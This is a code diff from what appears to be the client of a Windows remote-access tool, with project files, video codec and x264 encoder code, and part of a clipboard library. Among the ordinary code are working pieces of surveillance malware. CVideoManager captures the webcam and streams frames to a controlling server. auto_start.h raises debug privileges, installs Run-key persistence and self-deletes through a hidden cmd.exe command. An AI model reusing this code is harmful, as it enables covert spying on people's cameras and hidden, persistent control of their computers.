<ClInclude Include="MemoryModule.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource1.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="SessionMonitor.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

161
client/TinyRun.vcxproj Normal file
View File

@@ -0,0 +1,161 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{e3f3a477-05ba-431d-b002-28ef8bfa6e86}</ProjectGuid>
<RootNamespace>TinyRunner</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<IntDir>$(Configuration)\tiny</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<IntDir>$(Configuration)\tiny</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<IntDir>$(Platform)\$(Configuration)\tiny</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

130
client/VideoCodec.h Normal file
View File

@@ -0,0 +1,130 @@
#if !defined(AFX_VIDEOCODEC_H_INCLUDED)
#define AFX_VIDEOCODEC_H_INCLUDED
#include <VFW.H>
class CVideoCodec
{
COMPVARS m_cv;
HIC m_hIC;
BITMAPINFO* m_lpbmiInput;
BITMAPINFO m_bmiOutput;
public:
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
{
if (lpbmi == NULL)
return false;
m_lpbmiInput = lpbmi;
ZeroMemory(&m_cv, sizeof(m_cv));
m_cv.cbSize = sizeof(m_cv);
m_cv.dwFlags = ICMF_COMPVARS_VALID;
m_cv.hic = m_hIC;
m_cv.fccType = ICTYPE_VIDEO;
m_cv.fccHandler = fccHandler;
m_cv.lpbiOut = NULL;
m_cv.lKey = 10;
m_cv.lDataRate = 6;
m_cv.lQ = ICQUALITY_HIGH;
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
if (m_hIC == NULL) {
return false;
}
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
// 向编码器发送验证
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
m_cv.hic = m_hIC;
m_cv.dwFlags = ICMF_COMPVARS_VALID;
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) {
return false;
}
ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput);
return true;
}
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
{
if(!pin || !pout ||!m_hIC)
return false;
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
return false;
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
return true;
}
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
{
BYTE *p;
long s = 1;
BOOL k = true;
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
return false;
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
if (!p) return false;
if (lenr) *lenr = s;
if (pKey) *pKey = k;
CopyMemory(pout, p, s);
return true;
}
CVideoCodec()
{
m_lpbmiInput = NULL;
}
virtual ~CVideoCodec()
{
// No init yet or init error
if (m_hIC == NULL)
return;
ICDecompressEnd(m_hIC);
ICSeqCompressFrameEnd(&m_cv);
ICCompressorFree(&m_cv);
ICClose(m_hIC);
}
int MyEnumCodecs(int *fccHandler, char *strName)
{
static int i = 0;
int nRet = 1;
HIC hIC;
ICINFO icInfo;
if (fccHandler == NULL)
return 0;
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) {
i = 0;
return 0;
}
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
if (hIC) {
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
*fccHandler = icInfo.fccHandler;
//由于得到的szDescription是UNICODE双字节字串所以要转换为ASCII的
if (strName != NULL)
wcstombs(strName, icInfo.szDescription, 256);
} else nRet = -1;
ICClose(hIC);
i++;
return nRet;
}
};
#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)

192
client/VideoManager.cpp Normal file
View File

@@ -0,0 +1,192 @@
// VideoManager.cpp: implementation of the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "VideoManager.h"
#include "Common.h"
#include <iostream>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsCompress = false;
m_pVideoCodec = NULL;
m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // 开启
lpBuffer = NULL;
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
}
DWORD CVideoManager::WorkThread(LPVOID lParam)
{
CVideoManager *This = (CVideoManager *)lParam;
static ULONGLONG dwLastScreen = GetTickCount64();
if (This->Initialize()) { //转到Initialize
This->m_bIsCompress=true; //如果初始化成功就设置可以压缩
Mprintf("压缩视频进行传输.\n");
}
This->SendBitMapInfor(); //发送bmp位图结构
// 等控制端对话框打开
This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// 帧率
#else
const int fps = 8;// 帧率
#endif
const int sleep = 1000 / fps;// 间隔时间ms
timeBeginPeriod(1);
while (This->m_bIsWorking) {
// 限制速度
int span = sleep-(GetTickCount64() - dwLastScreen);
Sleep(span > 0 ? span : 1);
if (span < 0)
Mprintf("SendScreen Span = %d ms\n", span);
dwLastScreen = GetTickCount64();
if(FALSE == This->SendNextScreen())
break;
}
timeEndPeriod(1);
This->Destroy();
Mprintf("CVideoManager WorkThread end\n");
return 0;
}
CVideoManager::~CVideoManager()
{
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE);
SAFE_CLOSE_HANDLE(m_hWorkThread);
Mprintf("CVideoManager ~CVideoManager \n");
if (m_pVideoCodec) { //压缩类
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
if (lpBuffer)
delete [] lpBuffer;
}
void CVideoManager::Destroy()
{
m_bIsWorking = FALSE;
Mprintf("CVideoManager Destroy \n");
if (m_pVideoCodec) { //压缩类
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
}
void CVideoManager::SendBitMapInfor()
{
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
}
BOOL CVideoManager::SendNextScreen()
{
DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
if(lpDIB == NULL)
return FALSE;
// token + IsCompress + m_fccHandler + DIB
const int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize;
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress; //压缩
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //这里将视频压缩码写入要发送的缓冲区
UINT nPacketLen = 0;
if (m_bIsCompress && m_pVideoCodec) { //这里判断,是否压缩,压缩码是否初始化成功,如果成功就压缩
int nCompressLen = 0;
//这里压缩视频数据了
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
&nCompressLen, NULL);
if (!nCompressLen) {
// some thing error
return FALSE;
}
//重新计算发送数据包的大小 剩下就是发送了,我们到主控端看一下视频如果压缩了怎么处理
//到主控端的void CVideoDlg::OnReceiveComplete(void)
nPacketLen = nCompressLen + nHeadLen;
} else {
//不压缩 永远不来
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
nPacketLen = dwBmpImageSize+ nHeadLen;
}
m_CapVideo.SendEnd(); //copy send
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
return TRUE;
}
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_NEXT: {
NotifyDialogIsOpen();
break;
}
case COMMAND_WEBCAM_ENABLECOMPRESS: { // 要求启用压缩
// 如果解码器初始化正常,就启动压缩功能
if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true);
Mprintf("压缩视频进行传输.\n");
break;
}
case COMMAND_WEBCAM_DISABLECOMPRESS: { // 原始数据传输
InterlockedExchange((LPLONG)&m_bIsCompress, false);
Mprintf("不压缩视频进行传输.\n");
break;
}
}
}
BOOL CVideoManager::Initialize()
{
BOOL bRet = TRUE;
if (m_pVideoCodec!=NULL) {
delete m_pVideoCodec;
m_pVideoCodec=NULL;
}
if (m_fccHandler==0) { //不采用压缩
bRet= FALSE;
return bRet;
}
m_pVideoCodec = new CVideoCodec;
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
delete m_pVideoCodec;
bRet=FALSE;
// 置NULL, 发送时判断是否为NULL来判断是否压缩
m_pVideoCodec = NULL;
}
return bRet;
}

41
client/VideoManager.h Normal file
View File

@@ -0,0 +1,41 @@
// VideoManager.h: interface for the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
#define AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "CaptureVideo.h"
#include "VideoCodec.h"
class CVideoManager : public CManager
{
public:
CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
virtual ~CVideoManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
void SendBitMapInfor();
BOOL SendNextScreen();
static DWORD WINAPI WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo;
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL Initialize();
DWORD m_fccHandler;
bool m_bIsCompress;
LPBYTE lpBuffer; // 抓图缓存区
CVideoCodec *m_pVideoCodec; //压缩类
void Destroy();
};
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)

155
client/X264Encoder.cpp Normal file
View File

@@ -0,0 +1,155 @@
#include "X264Encoder.h"
#include <string.h>
#include <stdio.h>
#ifdef _WIN64
#pragma comment(lib,"libyuv/libyuv_x64.lib")
#pragma comment(lib,"x264/libx264_x64.lib")
#else
#pragma comment(lib,"libyuv/libyuv.lib")
#pragma comment(lib,"x264/libx264.lib")
#endif
CX264Encoder::CX264Encoder()
{
memset(&m_Param, 0, sizeof(m_Param));
m_pCodec = NULL;
m_pPicIn = NULL;
m_pPicOut = NULL;
}
CX264Encoder::~CX264Encoder()
{
close();
}
bool CX264Encoder::open(int width, int height, int fps, int crf)
{
x264_param_t param = { 0 };
x264_param_default_preset(&param, "ultrafast", "zerolatency");
param.i_width = width & 0xfffffffe;
param.i_height = height & 0xfffffffe;
//x264_LOG_NONE
param.i_log_level = X264_LOG_NONE;
param.i_threads = 1;
param.i_frame_total = 0;
param.i_keyint_max = fps * 15; // 15秒一个IDR场景突变由scenecut自动插入
param.i_bframe = 0; //不启用b帧
param.b_open_gop = 0;
param.i_fps_num = fps;
param.i_csp = X264_CSP_I420;
// CRF: 静态画面自动降至极低码率,动态画面按质量需要分配
// 不设 VBV —— 避免 IDR/复杂帧后的质量振荡
param.rc.i_rc_method = X264_RC_CRF;
param.rc.f_rf_constant = (float)crf;
//设置profile.
if (x264_param_apply_profile(&param, x264_profile_names[0])) {
return false;
}
return open(&param);
}
bool CX264Encoder::open(x264_param_t * param)
{
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
//input pic.
x264_picture_init(m_pPicIn);
x264_picture_alloc(
m_pPicIn,
X264_CSP_I420,
param->i_width,
param->i_height);
//create codec instance.
m_pCodec = x264_encoder_open(param);
if (m_pCodec == NULL) {
return false;
}
memcpy(&m_Param, param, sizeof(m_Param));
return true;
}
void CX264Encoder::close()
{
if (m_pCodec) {
x264_encoder_close(m_pCodec);
m_pCodec = NULL;
}
if (m_pPicIn) {
x264_picture_clean(m_pPicIn);
free(m_pPicIn);
m_pPicIn = NULL;
}
if (m_pPicOut) {
free(m_pPicOut);
m_pPicOut = NULL;
}
}
int CX264Encoder::encode(
uint8_t * rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t ** lppData,
uint32_t * lpSize,
int direction)
{
int encode_size = 0;
x264_nal_t *pNal = NULL;
int iNal;
if ((width & 0xfffffffe) != m_Param.i_width ||
(height & 0xfffffffe) != m_Param.i_height) {
return -1;
}
switch (bpp) {
case 24:
libyuv::RGB24ToI420((uint8_t*)rgb, stride,
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
m_Param.i_width, direction * m_Param.i_height);
break;
case 32:
libyuv::ARGBToI420((uint8_t*)rgb, stride,
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
m_Param.i_width, direction * m_Param.i_height);
break;
default:
return -2;
}
encode_size = x264_encoder_encode(
m_pCodec,
&pNal,
&iNal,
m_pPicIn,
m_pPicOut);
if (encode_size < 0) {
return -3;
}
*lppData = pNal->p_payload;
*lpSize = encode_size;
return 0;
}

35
client/X264Encoder.h Normal file
View File

@@ -0,0 +1,35 @@
#pragma once
extern "C" {
#include <libyuv\libyuv.h>
#include <x264\x264.h>
}
class CX264Encoder
{
private:
x264_t* m_pCodec; //编码器实例
x264_picture_t *m_pPicIn;
x264_picture_t *m_pPicOut;
x264_param_t m_Param;
public:
bool open(int width, int height, int fps, int crf);
bool open(x264_param_t * param);
void close();
int encode(
uint8_t * rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t ** lppData,
uint32_t * lpSize,
int direction = 1
);
CX264Encoder();
~CX264Encoder();
};

125
client/auto_start.h Normal file
View File

@@ -0,0 +1,125 @@
#pragma once
#include <windows.h>
// 提升权限
inline int DebugPrivilege()
{
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return -1;
// 动态分配空间,包含 3 个 LUID
TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES));
if (!tp) {
SAFE_CLOSE_HANDLE(hToken);
return 1;
}
tp->PrivilegeCount = 3;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) {
free(tp);
SAFE_CLOSE_HANDLE(hToken);
return 2;
}
tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) {
free(tp);
SAFE_CLOSE_HANDLE(hToken);
return 3;
}
tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) {
free(tp);
SAFE_CLOSE_HANDLE(hToken);
return 4;
}
tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL);
free(tp);
SAFE_CLOSE_HANDLE(hToken);
return 0;
}
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
/**
* @brief 设置本身开机自启动
* @param[in] *sPath 注册表的路径
* @param[in] *sNmae 注册表项名称
* @return 返回注册结果
* @details Win7 64位机器上测试结果表明注册项在\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项
*/
inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Log)
{
#define _Mprintf(format, ...) if (Log) Log(__FILE__, __LINE__, format, __VA_ARGS__)
int n = DebugPrivilege();
if (n != 0) {
_Mprintf("提升权限失败,错误码:%d\n", n);
return FALSE;
}
// 写入的注册表路径
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
// 在注册表中写入启动信息
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// 判断是否成功
if (lRet != ERROR_SUCCESS) {
_Mprintf("打开注册表失败,错误码:%d\n", lRet);
return FALSE;
}
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
if (lRet != ERROR_SUCCESS) {
_Mprintf("写入注册表失败,错误码:%d\n", lRet);
} else {
_Mprintf("写入注册表成功:%s -> %s\n", sNmae, sPath);
}
// 关闭注册表
RegCloseKey(hKey);
#undef _Mprintf
// 判断是否成功
return lRet == ERROR_SUCCESS;
}
inline bool markForDeleteOnReboot(const char* file)
{
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
}
inline BOOL self_del(int timeoutSecond=3)
{
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
return FALSE;
markForDeleteOnReboot(file);
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
SAFE_CLOSE_HANDLE(pi.hThread);
SAFE_CLOSE_HANDLE(pi.hProcess);
return TRUE;
}
return FALSE;
}

44
client/clang_rt_compat.c Normal file
View File

@@ -0,0 +1,44 @@
// clang_rt_compat.c
// 兼容 32 位 Clang 编译的 libx264 运行时函数
#ifdef _M_IX86
#pragma comment(linker, "/alternatename:__ultof3=_ultof3_impl")
#pragma comment(linker, "/alternatename:__dtoul3_legacy=_dtoul3_impl")
#pragma comment(linker, "/alternatename:__dtol3=_dtol3_impl")
#pragma comment(linker, "/alternatename:__ltod3=_ltod3_impl")
#pragma comment(linker, "/alternatename:__ultod3=_ultod3_impl")
// unsigned long long to float
float __cdecl ultof3_impl(unsigned long long a)
{
return (float)a;
}
// double to unsigned long long
unsigned long long __cdecl dtoul3_impl(double a)
{
if (a < 0) return 0;
if (a >= 18446744073709551616.0) return 0xFFFFFFFFFFFFFFFFULL;
return (unsigned long long)a;
}
// double to long long
long long __cdecl dtol3_impl(double a)
{
return (long long)a;
}
// long long to double
double __cdecl ltod3_impl(long long a)
{
return (double)a;
}
// unsigned long long to double
double __cdecl ultod3_impl(unsigned long long a)
{
return (double)a;
}
#endif

224
client/clip.h Normal file
View File

@@ -0,0 +1,224 @@
// Clip Library
// Copyright (c) 2015-2024 David Capello
//
// This file is released under the terms of the MIT license.
// Read LICENSE.txt for more information.
#ifndef CLIP_H_INCLUDED
#define CLIP_H_INCLUDED
#pragma once
#include <cassert>
#include <memory>
#include <string>
#include <vector>
namespace clip
{
// ======================================================================
// Low-level API to lock the clipboard/pasteboard and modify it
// ======================================================================
// Clipboard format identifier.
typedef size_t format;
#if CLIP_ENABLE_IMAGE
class image;
struct image_spec;
#endif // CLIP_ENABLE_IMAGE
#if CLIP_ENABLE_LIST_FORMATS
struct format_info {
format id = 0;
std::string name;
format_info(const format id,
const std::string& name)
: id(id),
name(name)
{
}
};
#endif // CLIP_ENABLE_LIST_FORMATS
class lock
{
public:
// You can give your current HWND as the "native_window_handle."
// Windows clipboard functions use this handle to open/close
